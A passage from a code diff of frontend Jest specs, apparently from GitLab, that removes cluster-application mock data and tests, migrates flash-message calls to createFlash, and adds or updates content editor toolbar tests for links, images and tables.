- expect(wrapper.vm.dropdownText).toBe('Select Stack');
- });
-
- it('renders an external link', () => {
- expect(wrapper.find(GlIcon).props('name')).toBe('external-link');
- });
-});
diff --git a/spec/frontend/clusters/services/mock_data.js b/spec/frontend/clusters/services/mock_data.js
index a75fcb0cb06..cf63d5452ac 100644
--- a/spec/frontend/clusters/services/mock_data.js
+++ b/spec/frontend/clusters/services/mock_data.js
@@ -1,170 +1,19 @@
-import { APPLICATION_STATUS } from '~/clusters/constants';
-
const CLUSTERS_MOCK_DATA = {
GET: {
'/gitlab-org/gitlab-shell/clusters/1/status.json': {
data: {
status: 'errored',
status_reason: 'Failed to request to CloudPlatform.',
- applications: [
- {
- name: 'helm',
- status: APPLICATION_STATUS.INSTALLABLE,
- status_reason: null,
- can_uninstall: false,
- },
- {
- name: 'ingress',
- status: APPLICATION_STATUS.ERROR,
- status_reason: 'Cannot connect',
- external_ip: null,
- external_hostname: null,
- can_uninstall: false,
- },
- {
- name: 'runner',
- status: APPLICATION_STATUS.INSTALLING,
- status_reason: null,
- can_uninstall: false,
- },
- {
- name: 'prometheus',
- status: APPLICATION_STATUS.ERROR,
- status_reason: 'Cannot connect',
- can_uninstall: false,
- },
- {
- name: 'jupyter',
- status: APPLICATION_STATUS.INSTALLING,
- status_reason: 'Cannot connect',
- can_uninstall: false,
- },
- {
- name: 'knative',
- status: APPLICATION_STATUS.INSTALLING,
- status_reason: 'Cannot connect',
- can_uninstall: false,
- },
- {
- name: 'cert_manager',
- status: APPLICATION_STATUS.ERROR,
- status_reason: 'Cannot connect',
- email: 'test@example.com',
- can_uninstall: false,
- },
- {
- name: 'crossplane',
- status: APPLICATION_STATUS.ERROR,
- status_reason: 'Cannot connect',
- can_uninstall: false,
- },
- {
- name: 'elastic_stack',
- status: APPLICATION_STATUS.ERROR,
- status_reason: 'Cannot connect',
- can_uninstall: false,
- },
- ],
},
},
'/gitlab-org/gitlab-shell/clusters/2/status.json': {
data: {
status: 'errored',
status_reason: 'Failed to request to CloudPlatform.',
- applications: [
- {
- name: 'helm',
- status: APPLICATION_STATUS.INSTALLED,
- status_reason: null,
- },
- {
- name: 'ingress',
- status: APPLICATION_STATUS.INSTALLED,
- status_reason: 'Cannot connect',
- external_ip: '1.1.1.1',
- external_hostname: null,
- },
- {
- name: 'runner',
- status: APPLICATION_STATUS.INSTALLING,
- status_reason: null,
- },
- {
- name: 'prometheus',
- status: APPLICATION_STATUS.ERROR,
- status_reason: 'Cannot connect',
- },
- {
- name: 'jupyter',
- status: APPLICATION_STATUS.INSTALLABLE,
- status_reason: 'Cannot connect',
- },
- {
- name: 'knative',
- status: APPLICATION_STATUS.INSTALLABLE,
- status_reason: 'Cannot connect',
- },
- {
- name: 'cert_manager',
- status: APPLICATION_STATUS.ERROR,
- status_reason: 'Cannot connect',
- email: 'test@example.com',
- },
- {
- name: 'crossplane',
- status: APPLICATION_STATUS.ERROR,
- status_reason: 'Cannot connect',
- stack: 'gcp',
- },
- {
- name: 'elastic_stack',
- status: APPLICATION_STATUS.ERROR,
- status_reason: 'Cannot connect',
- },
- ],
},
},
},
- POST: {
- '/gitlab-org/gitlab-shell/clusters/1/applications/helm': {},
- '/gitlab-org/gitlab-shell/clusters/1/applications/ingress': {},
- '/gitlab-org/gitlab-shell/clusters/1/applications/crossplane': {},
- '/gitlab-org/gitlab-shell/clusters/1/applications/cert_manager': {},
- '/gitlab-org/gitlab-shell/clusters/1/applications/runner': {},
- '/gitlab-org/gitlab-shell/clusters/1/applications/prometheus': {},
- '/gitlab-org/gitlab-shell/clusters/1/applications/jupyter': {},
- '/gitlab-org/gitlab-shell/clusters/1/applications/knative': {},
- '/gitlab-org/gitlab-shell/clusters/1/applications/elastic_stack': {},
- },
-};
-
-const DEFAULT_APPLICATION_STATE = {
- id: 'some-app',
- title: 'My App',
- titleLink: 'https://about.gitlab.com/',
- description: 'Some description about this interesting application!',
- status: null,
- statusReason: null,
- requestReason: null,
-};
-
-const APPLICATIONS_MOCK_STATE = {
- helm: { title: 'Helm Tiller', status: 'installable' },
- ingress: {
- title: 'Ingress',
- status: 'installable',
- },
- crossplane: { title: 'Crossplane', status: 'installable', stack: '' },
- cert_manager: { title: 'Cert-Manager', status: 'installable' },
- runner: { title: 'GitLab Runner' },
- prometheus: { title: 'Prometheus' },
- jupyter: { title: 'JupyterHub', status: 'installable', hostname: '' },
- knative: { title: 'Knative ', status: 'installable', hostname: '' },
- elastic_stack: { title: 'Elastic Stack', status: 'installable' },
- cilium: {
- title: 'GitLab Container Network Policies',
- status: 'not_installable',
- },
+ POST: {},
};
-export { CLUSTERS_MOCK_DATA, DEFAULT_APPLICATION_STATE, APPLICATIONS_MOCK_STATE };
+export { CLUSTERS_MOCK_DATA };
diff --git a/spec/frontend/clusters/stores/clusters_store_spec.js b/spec/frontend/clusters/stores/clusters_store_spec.js
index cdba6fc6ab8..5e797bbf8a8 100644
--- a/spec/frontend/clusters/stores/clusters_store_spec.js
+++ b/spec/frontend/clusters/stores/clusters_store_spec.js
@@ -1,4 +1,3 @@
-import { APPLICATION_INSTALLED_STATUSES, APPLICATION_STATUS, RUNNER } from '~/clusters/constants';
import ClustersStore from '~/clusters/stores/clusters_store';
import { CLUSTERS_MOCK_DATA } from '../services/mock_data';
@@ -31,17 +30,6 @@ describe('Clusters Store', () => {
});
});
- describe('updateAppProperty', () => {
- it('should store new request reason', () => {
- expect(store.state.applications.helm.requestReason).toEqual(null);
-
- const newReason = 'We broke it.';
- store.updateAppProperty('helm', 'requestReason', newReason);
-
- expect(store.state.applications.helm.requestReason).toEqual(newReason);
- });
- });
-
describe('updateStateFromServer', () => {
it('should store new polling data from server', () => {
const mockResponseData =
@@ -50,196 +38,16 @@ describe('Clusters Store', () => {
expect(store.state).toEqual({
helpPath: null,
- helmHelpPath: null,
- ingressHelpPath: null,
environmentsHelpPath: null,
clustersHelpPath: null,
deployBoardsHelpPath: null,
- cloudRunHelpPath: null,
status: mockResponseData.status,
statusReason: mockResponseData.status_reason,
providerType: null,
- preInstalledKnative: false,
rbac: false,
- applications: {
- helm: {
- title: 'Legacy Helm Tiller server',
- status: mockResponseData.applications[0].status,
- statusReason: mockResponseData.applications[0].status_reason,
- requestReason: null,
- installable: true,
- installed: false,
- installFailed: false,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- },
- ingress: {
- title: 'Ingress',
- status: APPLICATION_STATUS.INSTALLABLE,
- statusReason: mockResponseData.applications[1].status_reason,
- requestReason: null,
- externalIp: null,
- externalHostname: null,
- installable: true,
- installed: false,
- installFailed: true,
- uninstallable: false,
- updateFailed: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- },
- runner: {
- title: 'GitLab Runner',
- status: mockResponseData.applications[2].status,
- statusReason: mockResponseData.applications[2].status_reason,
- requestReason: null,
- version: mockResponseData.applications[2].version,
- updateAvailable: mockResponseData.applications[2].update_available,
- chartRepo: 'https://gitlab.com/gitlab-org/charts/gitlab-runner',
- installable: true,
- installed: false,
- installFailed: false,
- updateFailed: false,
- updateSuccessful: false,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- },
- prometheus: {
- title: 'Prometheus',
- status: APPLICATION_STATUS.INSTALLABLE,
- statusReason: mockResponseData.applications[3].status_reason,
- requestReason: null,
- installable: true,
- installed: false,
- installFailed: true,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- },
- jupyter: {
- title: 'JupyterHub',
- status: mockResponseData.applications[4].status,
- statusReason: mockResponseData.applications[4].status_reason,
- requestReason: null,
- hostname: '',
- installable: true,
- installed: false,
- installFailed: false,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- },
- knative: {
- title: 'Knative',
- status: mockResponseData.applications[5].status,
- statusReason: mockResponseData.applications[5].status_reason,
- requestReason: null,
- hostname: null,
- isEditingDomain: false,
- externalIp: null,
- externalHostname: null,
- installable: true,
- installed: false,
- installFailed: false,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- updateSuccessful: false,
- updateFailed: false,
- validationError: null,
- },
- cert_manager: {
- title: 'Cert-Manager',
- status: APPLICATION_STATUS.INSTALLABLE,
- installFailed: true,
- statusReason: mockResponseData.applications[6].status_reason,
- requestReason: null,
- email: mockResponseData.applications[6].email,
- installable: true,
- installed: false,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- },
- elastic_stack: {
- title: 'Elastic Stack',
- status: APPLICATION_STATUS.INSTALLABLE,
- installFailed: true,
- statusReason: mockResponseData.applications[7].status_reason,
- requestReason: null,
- installable: true,
- installed: false,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- },
- crossplane: {
- title: 'Crossplane',
- status: APPLICATION_STATUS.INSTALLABLE,
- installFailed: true,
- statusReason: mockResponseData.applications[8].status_reason,
- requestReason: null,
- installable: true,
- installed: false,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- },
- cilium: {
- title: 'GitLab Container Network Policies',
- status: null,
- statusReason: null,
- requestReason: null,
- installable: false,
- installed: false,
- installFailed: false,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- },
- },
environments: [],
fetchingEnvironments: false,
});
});
-
- describe.each(APPLICATION_INSTALLED_STATUSES)(
- 'given the current app status is %s',
- (status) => {
- it('marks application as installed', () => {
- const mockResponseData =
- CLUSTERS_MOCK_DATA.GET['/gitlab-org/gitlab-shell/clusters/2/status.json'].data;
- const runnerAppIndex = 2;
-
- mockResponseData.applications[runnerAppIndex].status = status;
-
- store.updateStateFromServer(mockResponseData);
-
- expect(store.state.applications[RUNNER].installed).toBe(true);
- });
- },
- );
-
- it('sets default hostname for jupyter when ingress has a ip address', () => {
- const mockResponseData =
- CLUSTERS_MOCK_DATA.GET['/gitlab-org/gitlab-shell/clusters/2/status.json'].data;
-
- store.updateStateFromServer(mockResponseData);
-
- expect(store.state.applications.jupyter.hostname).toEqual(
- `jupyter.${store.state.applications.ingress.externalIp}.nip.io`,
- );
- });
});
});
diff --git a/spec/frontend/clusters_list/store/actions_spec.js b/spec/frontend/clusters_list/store/actions_spec.js
index b2ef3c2138a..f4b69053e14 100644
--- a/spec/frontend/clusters_list/store/actions_spec.js
+++ b/spec/frontend/clusters_list/store/actions_spec.js
@@ -5,7 +5,7 @@ import waitForPromises from 'helpers/wait_for_promises';
import { MAX_REQUESTS } from '~/clusters_list/constants';
import * as actions from '~/clusters_list/store/actions';
import * as types from '~/clusters_list/store/mutation_types';
-import { deprecatedCreateFlash as flashError } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import Poll from '~/lib/utils/poll';
import { apiData } from '../mock_data';
@@ -101,7 +101,9 @@ describe('Clusters store actions', () => {
},
],
() => {
- expect(flashError).toHaveBeenCalledWith(expect.stringMatching('error'));
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expect.stringMatching('error'),
+ });
done();
},
);
diff --git a/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap b/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap
index b59d1597a12..118d8ceceb9 100644
--- a/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap
+++ b/spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap
@@ -13,7 +13,9 @@ exports[`Code navigation popover component renders popover 1`] = `
<gl-tabs-stub
contentclass="gl-py-0"
navclass="gl-hidden"
+ queryparamname="tab"
theme="indigo"
+ value="0"
>
<gl-tab-stub
title="Definition"
diff --git a/spec/frontend/code_quality_walkthrough/components/step_spec.js b/spec/frontend/code_quality_walkthrough/components/step_spec.js
index c397faf1f35..bdbcda5f902 100644
--- a/spec/frontend/code_quality_walkthrough/components/step_spec.js
+++ b/spec/frontend/code_quality_walkthrough/components/step_spec.js
@@ -4,11 +4,11 @@ import Cookies from 'js-cookie';
import Step from '~/code_quality_walkthrough/components/step.vue';
import { EXPERIMENT_NAME, STEPS } from '~/code_quality_walkthrough/constants';
import { TRACKING_CONTEXT_SCHEMA } from '~/experimentation/constants';
-import { getParameterByName } from '~/lib/utils/common_utils';
+import { getParameterByName } from '~/lib/utils/url_utility';
import Tracking from '~/tracking';
-jest.mock('~/lib/utils/common_utils', () => ({
- ...jest.requireActual('~/lib/utils/common_utils'),
+jest.mock('~/lib/utils/url_utility', () => ({
+ ...jest.requireActual('~/lib/utils/url_utility'),
getParameterByName: jest.fn(),
}));
diff --git a/spec/frontend/collapsed_sidebar_todo_spec.js b/spec/frontend/collapsed_sidebar_todo_spec.js
deleted file mode 100644
index 7c659822672..00000000000
--- a/spec/frontend/collapsed_sidebar_todo_spec.js
+++ /dev/null
@@ -1,171 +0,0 @@
-/* eslint-disable no-new */
-import MockAdapter from 'axios-mock-adapter';
-import { clone } from 'lodash';
-import waitForPromises from 'helpers/wait_for_promises';
-import { TEST_HOST } from 'spec/test_constants';
-import axios from '~/lib/utils/axios_utils';
-import Sidebar from '~/right_sidebar';
-import { fixTitle } from '~/tooltips';
-
-jest.mock('~/tooltips');
-
-describe('Issuable right sidebar collapsed todo toggle', () => {
- const fixtureName = 'issues/open-issue.html';
- const jsonFixtureName = 'todos/todos.json';
- let mock;
-
- beforeEach(() => {
- const todoData = getJSONFixture(jsonFixtureName);
- new Sidebar();
- loadFixtures(fixtureName);
-
- document.querySelector('.js-right-sidebar').classList.toggle('right-sidebar-expanded');
- document.querySelector('.js-right-sidebar').classList.toggle('right-sidebar-collapsed');
-
- mock = new MockAdapter(axios);
-
- mock.onPost(`${TEST_HOST}/frontend-fixtures/issues-project/todos`).reply(() => {
- const response = clone(todoData);
-
- return [200, response];
- });
-
- mock.onDelete(/(.*)\/dashboard\/todos\/\d+$/).reply(() => {
- const response = clone(todoData);
- delete response.delete_path;
-
- return [200, response];
- });
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- it('shows add todo button', () => {
- expect(document.querySelector('.js-issuable-todo.sidebar-collapsed-icon')).not.toBeNull();
-
- expect(
- document
- .querySelector('.js-issuable-todo.sidebar-collapsed-icon svg')
- .getAttribute('data-testid'),
- ).toBe('todo-add-icon');
-
- expect(
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon .todo-undone'),
- ).toBeNull();
- });
-
- it('sets default tooltip title', () => {
- expect(
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon').getAttribute('title'),
- ).toBe('Add a to do');
- });
-
- it('toggle todo state', (done) => {
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon').click();
-
- setImmediate(() => {
- expect(
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon .todo-undone'),
- ).not.toBeNull();
-
- expect(
- document
- .querySelector('.js-issuable-todo.sidebar-collapsed-icon svg.todo-undone')
- .getAttribute('data-testid'),
- ).toBe('todo-done-icon');
-
- done();
- });
- });
-
- it('toggle todo state of expanded todo toggle', (done) => {
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon').click();
-
- setImmediate(() => {
- expect(
- document.querySelector('.issuable-sidebar-header .js-issuable-todo').textContent.trim(),
- ).toBe('Mark as done');
-
- done();
- });
- });
-
- it('toggles todo button tooltip', (done) => {
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon').click();
-
- setImmediate(() => {
- const el = document.querySelector('.js-issuable-todo.sidebar-collapsed-icon');
-
- expect(el.getAttribute('title')).toBe('Mark as done');
- expect(fixTitle).toHaveBeenCalledWith(el);
-
- done();
- });
- });
-
- it('marks todo as done', (done) => {
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon').click();
-
- waitForPromises()
- .then(() => {
- expect(
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon .todo-undone'),
- ).not.toBeNull();
-
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon').click();
- })
- .then(waitForPromises)
- .then(() => {
- expect(
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon .todo-undone'),
- ).toBeNull();
-
- expect(
- document.querySelector('.issuable-sidebar-header .js-issuable-todo').textContent.trim(),
- ).toBe('Add a to do');
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('updates aria-label to Mark as done', (done) => {
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon').click();
-
- setImmediate(() => {
- expect(
- document
- .querySelector('.js-issuable-todo.sidebar-collapsed-icon')
- .getAttribute('aria-label'),
- ).toBe('Mark as done');
-
- done();
- });
- });
-
- it('updates aria-label to add todo', (done) => {
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon').click();
-
- waitForPromises()
- .then(() => {
- expect(
- document
- .querySelector('.js-issuable-todo.sidebar-collapsed-icon')
- .getAttribute('aria-label'),
- ).toBe('Mark as done');
-
- document.querySelector('.js-issuable-todo.sidebar-collapsed-icon').click();
- })
- .then(waitForPromises)
- .then(() => {
- expect(
- document
- .querySelector('.js-issuable-todo.sidebar-collapsed-icon')
- .getAttribute('aria-label'),
- ).toBe('Add a to do');
- })
- .then(done)
- .catch(done.fail);
- });
-});
diff --git a/spec/frontend/commit/commit_pipeline_status_component_spec.js b/spec/frontend/commit/commit_pipeline_status_component_spec.js
index a56f761269a..8082b8524e7 100644
--- a/spec/frontend/commit/commit_pipeline_status_component_spec.js
+++ b/spec/frontend/commit/commit_pipeline_status_component_spec.js
@@ -2,7 +2,7 @@ import { GlLoadingIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Visibility from 'visibilityjs';
import { getJSONFixture } from 'helpers/fixtures';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import Poll from '~/lib/utils/poll';
import CommitPipelineStatus from '~/projects/tree/components/commit_pipeline_status_component.vue';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
@@ -170,7 +170,7 @@ describe('Commit pipeline status component', () => {
});
it('displays flash error message', () => {
- expect(flash).toHaveBeenCalled();
+ expect(createFlash).toHaveBeenCalled();
});
});
});
diff --git a/spec/frontend/commit/pipelines/pipelines_table_spec.js b/spec/frontend/commit/pipelines/pipelines_table_spec.js
index 4bf6727af3b..1defb3d586c 100644
--- a/spec/frontend/commit/pipelines/pipelines_table_spec.js
+++ b/spec/frontend/commit/pipelines/pipelines_table_spec.js
@@ -66,7 +66,7 @@ describe('Pipelines table in Commits and Merge requests', () => {
describe('with pipelines', () => {
beforeEach(async () => {
- mock.onGet('endpoint.json').reply(200, [pipeline]);
+ mock.onGet('endpoint.json').reply(200, [pipeline], { 'x-total': 10 });
createComponent();
@@ -110,7 +110,7 @@ describe('Pipelines table in Commits and Merge requests', () => {
document.body.appendChild(element);
element.addEventListener('update-pipelines-count', (event) => {
- expect(event.detail.pipelines).toEqual([pipeline]);
+ expect(event.detail.pipelineCount).toEqual(10);
done();
});
diff --git a/spec/frontend/content_editor/components/content_editor_spec.js b/spec/frontend/content_editor/components/content_editor_spec.js
index 59c4190ad3a..563e80e04c1 100644
--- a/spec/frontend/content_editor/components/content_editor_spec.js
+++ b/spec/frontend/content_editor/components/content_editor_spec.js
@@ -1,5 +1,7 @@
+import { GlAlert } from '@gitlab/ui';
import { EditorContent } from '@tiptap/vue-2';
-import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import ContentEditor from '~/content_editor/components/content_editor.vue';
import TopToolbar from '~/content_editor/components/top_toolbar.vue';
import { createContentEditor } from '~/content_editor/services/create_content_editor';
@@ -8,8 +10,11 @@ describe('ContentEditor', () => {
let wrapper;
let editor;
+ const findEditorElement = () => wrapper.findByTestId('content-editor');
+ const findErrorAlert = () => wrapper.findComponent(GlAlert);
+
const createWrapper = async (contentEditor) => {
- wrapper = shallowMount(ContentEditor, {
+ wrapper = shallowMountExtended(ContentEditor, {
propsData: {
contentEditor,
},
@@ -49,7 +54,7 @@ describe('ContentEditor', () => {
editor.tiptapEditor.isFocused = isFocused;
createWrapper(editor);
- expect(wrapper.classes()).toStrictEqual(classes);
+ expect(findEditorElement().classes()).toStrictEqual(classes);
},
);
@@ -57,6 +62,30 @@ describe('ContentEditor', () => {
editor.tiptapEditor.isFocused = true;
createWrapper(editor);
- expect(wrapper.classes()).toContain('is-focused');
+ expect(findEditorElement().classes()).toContain('is-focused');
+ });
+
+ describe('displaying error', () => {
+ const error = 'Content Editor error';
+
+ beforeEach(async () => {
+ createWrapper(editor);
+
+ editor.tiptapEditor.emit('error', error);
+
+ await nextTick();
+ });
+
+ it('displays error notifications from the tiptap editor', () => {
+ expect(findErrorAlert().text()).toBe(error);
+ });
+
+ it('allows dismissing an error alert', async () => {
+ findErrorAlert().vm.$emit('dismiss');
+
+ await nextTick();
+
+ expect(findErrorAlert().exists()).toBe(false);
+ });
});
});
diff --git a/spec/frontend/content_editor/components/toolbar_button_spec.js b/spec/frontend/content_editor/components/toolbar_button_spec.js
index a49efa34017..d848adcbff8 100644
--- a/spec/frontend/content_editor/components/toolbar_button_spec.js
+++ b/spec/frontend/content_editor/components/toolbar_button_spec.js
@@ -1,33 +1,17 @@
import { GlButton } from '@gitlab/ui';
-import { Extension } from '@tiptap/core';
import { shallowMount } from '@vue/test-utils';
import ToolbarButton from '~/content_editor/components/toolbar_button.vue';
-import { createContentEditor } from '~/content_editor/services/create_content_editor';
+import { createTestEditor, mockChainedCommands } from '../test_utils';
describe('content_editor/components/toolbar_button', () => {
let wrapper;
let tiptapEditor;
- let toggleFooSpy;
const CONTENT_TYPE = 'bold';
const ICON_NAME = 'bold';
const LABEL = 'Bold';
const buildEditor = () => {
- toggleFooSpy = jest.fn();
- tiptapEditor = createContentEditor({
- extensions: [
- {
- tiptapExtension: Extension.create({
- addCommands() {
- return {
- toggleFoo: () => toggleFooSpy,
- };
- },
- }),
- },
- ],
- renderMarkdown: () => true,
- }).tiptapEditor;
+ tiptapEditor = createTestEditor();
jest.spyOn(tiptapEditor, 'isActive');
};
@@ -78,20 +62,28 @@ describe('content_editor/components/toolbar_button', () => {
describe('when button is clicked', () => {
it('executes the content type command when executeCommand = true', async () => {
- buildWrapper({ editorCommand: 'toggleFoo' });
+ const editorCommand = 'toggleFoo';
+ const mockCommands = mockChainedCommands(tiptapEditor, [editorCommand, 'focus', 'run']);
+
+ buildWrapper({ editorCommand });
await findButton().trigger('click');
- expect(toggleFooSpy).toHaveBeenCalled();
+ expect(mockCommands[editorCommand]).toHaveBeenCalled();
+ expect(mockCommands.focus).toHaveBeenCalled();
+ expect(mockCommands.run).toHaveBeenCalled();
expect(wrapper.emitted().execute).toHaveLength(1);
});
it('does not executes the content type command when executeCommand = false', async () => {
+ const editorCommand = 'toggleFoo';
+ const mockCommands = mockChainedCommands(tiptapEditor, [editorCommand, 'run']);
+
buildWrapper();
await findButton().trigger('click');
- expect(toggleFooSpy).not.toHaveBeenCalled();
+ expect(mockCommands[editorCommand]).not.toHaveBeenCalled();
expect(wrapper.emitted().execute).toHaveLength(1);
});
});
diff --git a/spec/frontend/content_editor/components/toolbar_image_button_spec.js b/spec/frontend/content_editor/components/toolbar_image_button_spec.js
new file mode 100644
index 00000000000..701dcf83476
--- /dev/null
+++ b/spec/frontend/content_editor/components/toolbar_image_button_spec.js
@@ -0,0 +1,78 @@
+import { GlButton, GlFormInputGroup } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import ToolbarImageButton from '~/content_editor/components/toolbar_image_button.vue';
+import { configure as configureImageExtension } from '~/content_editor/extensions/image';
+import { createTestEditor, mockChainedCommands } from '../test_utils';
+
+describe('content_editor/components/toolbar_image_button', () => {
+ let wrapper;
+ let editor;
+
+ const buildWrapper = () => {
+ wrapper = mountExtended(ToolbarImageButton, {
+ propsData: {
+ tiptapEditor: editor,
+ },
+ });
+ };
+
+ const findImageURLInput = () =>
+ wrapper.findComponent(GlFormInputGroup).find('input[type="text"]');
+ const findApplyImageButton = () => wrapper.findComponent(GlButton);
+
+ const selectFile = async (file) => {
+ const input = wrapper.find({ ref: 'fileSelector' });
+
+ // override the property definition because `input.files` isn't directly modifyable
+ Object.defineProperty(input.element, 'files', { value: [file], writable: true });
+ await input.trigger('change');
+ };
+
+ beforeEach(() => {
+ const { tiptapExtension: Image } = configureImageExtension({
+ renderMarkdown: jest.fn(),
+ uploadsPath: '/uploads/',
+ });
+
+ editor = createTestEditor({
+ extensions: [Image],
+ });
+
+ buildWrapper();
+ });
+
+ afterEach(() => {
+ editor.destroy();
+ wrapper.destroy();
+ });
+
+ it('sets the image to the value in the URL input when "Insert" button is clicked', async () => {
+ const commands = mockChainedCommands(editor, ['focus', 'setImage', 'run']);
+
+ await findImageURLInput().setValue('https://example.com/img.jpg');
+ await findApplyImageButton().trigger('click');
+
+ expect(commands.focus).toHaveBeenCalled();
+ expect(commands.setImage).toHaveBeenCalledWith({
+ alt: 'img',
+ src: 'https://example.com/img.jpg',
+ canonicalSrc: 'https://example.com/img.jpg',
+ });
+ expect(commands.run).toHaveBeenCalled();
+
+ expect(wrapper.emitted().execute[0]).toEqual([{ contentType: 'image', value: 'url' }]);
+ });
+
+ it('uploads the selected image when file input changes', async () => {
+ const commands = mockChainedCommands(editor, ['focus', 'uploadImage', 'run']);
+ const file = new File(['foo'], 'foo.png', { type: 'image/png' });
+
+ await selectFile(file);
+
+ expect(commands.focus).toHaveBeenCalled();
+ expect(commands.uploadImage).toHaveBeenCalledWith({ file });
+ expect(commands.run).toHaveBeenCalled();
+
+ expect(wrapper.emitted().execute[0]).toEqual([{ contentType: 'image', value: 'upload' }]);
+ });
+});
diff --git a/spec/frontend/content_editor/components/toolbar_link_button_spec.js b/spec/frontend/content_editor/components/toolbar_link_button_spec.js
index 812e769c891..576a2912f72 100644
--- a/spec/frontend/content_editor/components/toolbar_link_button_spec.js
+++ b/spec/frontend/content_editor/components/toolbar_link_button_spec.js
@@ -1,4 +1,4 @@
-import { GlDropdown, GlDropdownDivider, GlFormInputGroup, GlButton } from '@gitlab/ui';
+import { GlDropdown, GlDropdownDivider, GlButton, GlFormInputGroup } from '@gitlab/ui';
import { mountExtended } from 'helpers/vue_test_utils_helper';
import ToolbarLinkButton from '~/content_editor/components/toolbar_link_button.vue';
import { tiptapExtension as Link } from '~/content_editor/extensions/link';
@@ -16,9 +16,6 @@ describe('content_editor/components/toolbar_link_button', () => {
propsData: {
tiptapEditor: editor,
},
- stubs: {
- GlFormInputGroup,
- },
});
};
const findDropdown = () => wrapper.findComponent(GlDropdown);
@@ -45,9 +42,8 @@ describe('content_editor/components/toolbar_link_button', () => {
});
describe('when there is an active link', () => {
- beforeEach(() => {
- jest.spyOn(editor, 'isActive');
- editor.isActive.mockReturnValueOnce(true);
+ beforeEach(async () => {
+ jest.spyOn(editor, 'isActive').mockReturnValueOnce(true);
buildWrapper();
});
@@ -78,8 +74,36 @@ describe('content_editor/components/toolbar_link_button', () => {
expect(commands.focus).toHaveBeenCalled();
expect(commands.unsetLink).toHaveBeenCalled();
- expect(commands.setLink).toHaveBeenCalledWith({ href: 'https://example' });
+ expect(commands.setLink).toHaveBeenCalledWith({
+ href: 'https://example',
+ canonicalSrc: 'https://example',
+ });
expect(commands.run).toHaveBeenCalled();
+
+ expect(wrapper.emitted().execute[0]).toEqual([{ contentType: 'link' }]);
+ });
+
+ describe('on selection update', () => {
+ it('updates link input box with canonical-src if present', async () => {
+ jest.spyOn(editor, 'getAttributes').mockReturnValueOnce({
+ canonicalSrc: 'uploads/my-file.zip',
+ href: '/username/my-project/uploads/abcdefgh133535/my-file.zip',
+ });
+
+ await editor.emit('selectionUpdate', { editor });
+
+ expect(findLinkURLInput().element.value).toEqual('uploads/my-file.zip');
+ });
+
+ it('updates link input box with link href otherwise', async () => {
+ jest.spyOn(editor, 'getAttributes').mockReturnValueOnce({
+ href: 'https://gitlab.com',
+ });
+
+ await editor.emit('selectionUpdate', { editor });
+
+ expect(findLinkURLInput().element.value).toEqual('https://gitlab.com');
+ });
});
});
@@ -106,8 +130,13 @@ describe('content_editor/components/toolbar_link_button', () => {
await findApplyLinkButton().trigger('click');
expect(commands.focus).toHaveBeenCalled();
- expect(commands.setLink).toHaveBeenCalledWith({ href: 'https://example' });
+ expect(commands.setLink).toHaveBeenCalledWith({
+ href: 'https://example',
+ canonicalSrc: 'https://example',
+ });
expect(commands.run).toHaveBeenCalled();
+
+ expect(wrapper.emitted().execute[0]).toEqual([{ contentType: 'link' }]);
});
});
diff --git a/spec/frontend/content_editor/components/toolbar_table_button_spec.js b/spec/frontend/content_editor/components/toolbar_table_button_spec.js
new file mode 100644
index 00000000000..237b2848246
--- /dev/null
+++ b/spec/frontend/content_editor/components/toolbar_table_button_spec.js
@@ -0,0 +1,109 @@
+import { GlDropdown, GlButton } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import ToolbarTableButton from '~/content_editor/components/toolbar_table_button.vue';
+import { tiptapExtension as Table } from '~/content_editor/extensions/table';
+import { tiptapExtension as TableCell } from '~/content_editor/extensions/table_cell';
+import { tiptapExtension as TableHeader } from '~/content_editor/extensions/table_header';
+import { tiptapExtension as TableRow } from '~/content_editor/extensions/table_row';
+import { createTestEditor, mockChainedCommands } from '../test_utils';
+
+describe('content_editor/components/toolbar_table_button', () => {
+ let wrapper;
+ let editor;
+
+ const buildWrapper = () => {
+ wrapper = mountExtended(ToolbarTableButton, {
+ propsData: {
+ tiptapEditor: editor,
+ },
+ });
+ };
+
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const getNumButtons = () => findDropdown().findAllComponents(GlButton).length;
+
+ beforeEach(() => {
+ editor = createTestEditor({
